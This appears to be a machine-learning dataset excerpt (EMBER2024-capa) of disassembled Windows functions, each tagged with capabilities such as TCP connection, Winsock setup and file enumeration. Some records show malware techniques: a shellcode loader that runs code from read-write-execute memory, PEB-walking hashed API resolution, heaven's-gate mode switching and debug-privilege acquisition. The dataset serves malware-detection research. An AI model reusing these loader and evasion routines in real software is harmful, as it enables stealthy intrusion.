joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10b5e6a
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.010b5de6
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x10b5fe2
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x10b5fe2
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x10b5f91
jg 0x10b5ec3
test eax, eax
je 0x10b5f87
push 1
push 0x1000
call fcn.010aa909
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x10b5ee9
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x10b5f7e
push 0x8000
push ebx
call fcn.0109e21a
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x10b5f15
jg 0x10b5f10
cmp ecx, 0x1000
jb 0x10b5f15
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.010b548e
add esp, 0x10
cmp eax, 0xffffffff
je 0x10b5f5a
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x10b5f10
jl 0x10b5f41
test ecx, ecx
jne 0x10b5f02
push dword [ebp - 0xc]
push ebx
call fcn.0109e21a
push esi
call fcn.010aa881
add esp, 0xc
xor edi, edi
jmp 0x10b5ff3
cmp byte [edi + 0x24], 0
je 0x10b5f71
cmp dword [edi + 0x20], 5
jne 0x10b5f71
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x10b5f7c
mov edi, dword [edi + 0x18]
jmp 0x10b5f7e
xor edi, edi
push esi
call fcn.010aa881
pop ecx
jmp 0x10b5ff3
test ecx, ecx
jg 0x10b5f53
jl 0x10b5f91
test eax, eax
jae 0x10b5f53
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.010aa737
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10b5fb4
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x10b5f53
jmp 0x10b5feb
push ebx
call fcn.010aef3c
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10b5f53
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x10b5ff3
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x10b5ff0
mov edi, dword [edi + 0x18]
jmp 0x10b5ff3
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.010aa737
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401088
Capabilities:
Initialize winsock library
Print debug messages

Disassembly:
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x4033c0
mov dword [esi + 8], 0xffffffff
mov dword [esi + 0x4da8c], 0
mov dword [esi + 4], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x40528c
mov dword [esi + 0xc], eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x401110
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 8]
mov dword [esi], 0x4033c0
cmp eax, 0xffffffff
je 0x401128
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str.CDwon::CDwon___called_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop esi
ret

Function at 0x401180
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Print debug messages
Resolve dns

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, ecx
push str.CDwon::Connect___called_n
call edi
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x4011bd
push str.CDwon::Connect_____socket_creation_failed_n
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 8
mov ebx, dword [esp + 0x28]
mov ebp, dword [sym.imp.WS2_32.dll_htons]
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x401223
push ebx
mov word [esp + 0x14], 2
call ebp
mov word [esp + 0x12], ax
mov ecx, dword [edi + 0xc]
push 0x10
mov edx, dword [ecx]
lea ecx, [esp + 0x14]
push ecx
mov eax, dword [edx]
mov edx, dword [esi + 8]
push edx
mov dword [esp + 0x20], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401244
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [esi + 0xc]
push 0x3e8
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x4011c7
mov edx, dword [esi + 8]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
push str.CDwon::Connect_____gethostbyname_failed_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 8
push 0
push 0
push esi
push 0x401280
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.CDwon::Connect_____connected_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10
ret 8
Function at 0x401380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Print debug messages

Disassembly:
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov edi, str.DWORD_WINAPI_WaitForSingleObject___in_HANDLE_hHandle____in_DWORD_dwMilliseconds__
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, str.DWORD_WINAPI_WaitForSingleObject___in_HANDLE_hHandle____in_DWORD_dwMilliseconds__
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x3000
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x4da78
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x4013e0
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, 0x1369e
lea esi, [ebp + 0x4da90]
mov edi, ebx
push str.CreateThread
rep movsd dword es:[edi], dword [esi]
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push ebx
push ebx
push 0
push 0
call eax
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.CDwon::LoadShellcode_____After_CreateThread_n
mov esi, eax
call edi
test esi, esi
jne 0x401440
push str.CDwon::LoadShellcode_____CreateThread_failed_n
call edi
push 0x8000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x5fb1a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x158000]
push edi
jmp 0x5fb1ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5fb1c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5fb1b0
mov eax, 1
add ebx, ebx
jne 0x5fb1d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5fb1e4
jne 0x5fb203
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5fb203
dec eax
add ebx, ebx
jne 0x5fb1f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5fb1c8
add ebx, ebx
jne 0x5fb1ff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5fb255
xor ecx, ecx
sub eax, 3
jb 0x5fb21b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5fb28a
sar eax, 1
mov ebp, eax
jmp 0x5fb226
add ebx, ebx
jne 0x5fb226
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5fb1f4
inc ecx
add ebx, ebx
jne 0x5fb234
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5fb1f4
add ebx, ebx
jne 0x5fb241
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5fb236
jne 0x5fb252
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5fb236
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5fb274
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5fb266
jmp 0x5fb1b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5fb274
add edi, ecx
jmp 0x5fb1b6
pop esi
mov edi, esi
mov ecx, 0x6280
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5fb292
cmp byte [edi], 0x2a
jne 0x5fb292
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5fb297
lea edi, [esi + 0x1ef000]
mov eax, dword [edi]
or eax, eax
je 0x5fb30f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x23d75c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x23d8d8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5fb2c4
mov ecx, edi
jns 0x5fb2f3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x23d8e0]
or eax, eax
je 0x5fb309
mov dword [ebx], eax
add ebx, 4
jmp 0x5fb2e1
call dword [esi + 0x23d8dc]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5fb340
cmp al, 0xef
ja 0x5fb333
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5fb315
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x5fb322
mov ebp, dword [esi + 0x23d8e4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x247]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5fb374
sub esp, 0xffffff80
jmp 0x4c5ea3
Function at 0x40104e
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 1
mov eax, 0x4c0894
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 1
push dword [ebp + 8]
call fcn.00401090
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401082
push ebx
call fcn.00423d27
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x40108a
mov esp, ebp
pop ebp
ret 8
Function at 0x4107ea
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.00423d21
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.00423d21
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 0xc], 0
jne 0x41088a
mov dword [ebp - 0x18], esp
mov eax, 0x2f
call fcn.00423d39
cmp dword [ebp - 0x18], esp
je 0x410887
push 0x46
push 0x401d223
push 6
call fcn.00423d33
add esp, 0xc
mov dword [ebp + 8], eax
mov dword [ebp - 0x18], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
mov eax, 0x30
call fcn.00423d39
cmp dword [ebp - 0x18], esp
je 0x4108c0
push 0x75
push 0x401d223
push 6
call fcn.00423d33
add esp, 0xc
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], esp
lea eax, [ebp - 8]
push eax
push 0xf01ff
push dword [ebp - 4]
mov eax, 0x31
call fcn.00423d39
cmp dword [ebp - 0x18], esp
je 0x4108f8
push 0x9c
push 0x401d223
push 6
call fcn.00423d33
add esp, 0xc
mov dword [ebp - 0x18], esp
push dword [ebp - 0xc]
push 0x4c0894
push 0
mov eax, 0x32
call fcn.00423d39
cmp dword [ebp - 0x18], esp
je 0x41092e
push 0xc6
push 0x401d223
push 6
call fcn.00423d33
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov dword [ebp - 0x18], esp
push 0
push 0
push 0
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 0x33
call fcn.00423d39
cmp dword [ebp - 0x18], esp
je 0x4109c7
push 0x1d6
push 0x401d223
push 6
call fcn.00423d33
add esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
mov eax, 0x34
call fcn.00423d39
cmp dword [ebp - 0x18], esp
je 0x4109f6
push 0x216
push 0x401d223
push 6
call fcn.00423d33
add esp, 0xc
mov eax, dword [ebp - 0x14]
jmp 0x4109fe
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.00423d27
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.00423d27
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x410d91
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x410dde
mov al, cl
cmp al, 0x61
jb 0x410db9
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x410dde
mov al, cl
cmp al, 0x61
jb 0x410dd1
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x410daa
cmp edx, dword [esp + 0x18]
je 0x410dee
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x410da3
xor eax, eax
jmp 0x410df1
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x410df9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x410ee0
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x410ee6
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x410e45
cmp al, 0x61
jb 0x410e3d
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x410e30
cmp edx, dword [esp + 0x14]
je 0x410e55
dec ecx
jne 0x410e25
xor eax, eax
jmp 0x410ee0
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x410ee0
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x410ee0
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x410e91
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x410ea0
jmp 0x410e88
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call fcn.00410d91
test eax, eax
je 0x410ee0
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x410edb
cmp al, 0x61
jb 0x410ed3
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x410ec6
call fcn.00410df9
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x410efe
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x410efe
sub edx, ecx
mov ecx, edx
jmp 0x410e55
xor eax, eax
jmp 0x410ee0

Function at 0x411f4f
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x57d044]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x411f8a
add dword [esp], 5
retf

Function at 0x412b7a
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x57d044]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x412bb5
add dword [esp], 5
retf
Function at 0x412c78
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x57d044]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x412cb3
add dword [esp], 5
retf

Function at 0x412d99
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x57d044]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x412dd4
add dword [esp], 5
retf

Function at 0x412fef
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x57d044]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x41302a
add dword [esp], 5
retf

Function at 0x4130ed
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x413119
add dword [esp], 5
retf
Function at 0x42d050
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4ba24b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004af13f
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x42d0d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004ad051
mov eax, dword [eax]
push 0x567cd8
push eax
call fcn.0049f084
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004af3ca
test bl, bl
je 0x42d0d2
push 0x567cd8
lea ecx, [esp + 0xc]
call fcn.004af75a
push 0x567ce4
lea ecx, [esp + 0xc]
call fcn.004af75a
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42d10e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004af3ca
jmp 0x42d1d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x42d192
lea edx, [esp + 0x7c]
push 0x567ce0
push edx
call fcn.0049f084
add esp, 8
test eax, eax
je 0x42d192
lea eax, [esp + 0x7c]
push 0x567cdc
push eax
call fcn.0049f084
add esp, 8
test eax, eax
je 0x42d192
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x42d122
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004af3ca
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x42d9e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x42da42
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x42da50
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4ba2cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x578fa8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x42db88
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x42dab6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004af3ca
xor eax, eax
jmp 0x42dbff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004af507
push esi
lea ecx, [esp + 0xc]
call fcn.004af796
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x567d18
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42dbdd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0042d9e0
test eax, eax
jne 0x42dbdd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0042d9e0
test eax, eax
jne 0x42dbdd
lea eax, [esp + 0x14]
push 0x567cf4
push eax
call fcn.004a01d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42dbbc
lea ecx, [esp + 0x14]
push 0x567cf0
push ecx
call fcn.004a0150
mov esi, eax
add esp, 8
test esi, esi
jne 0x42dbbc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42dbbf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004af4b7
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42dace
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004af3ca
xor eax, eax
jmp 0x42dbff
mov byte [esi], 0
push 0x567cec
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004af3ca
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4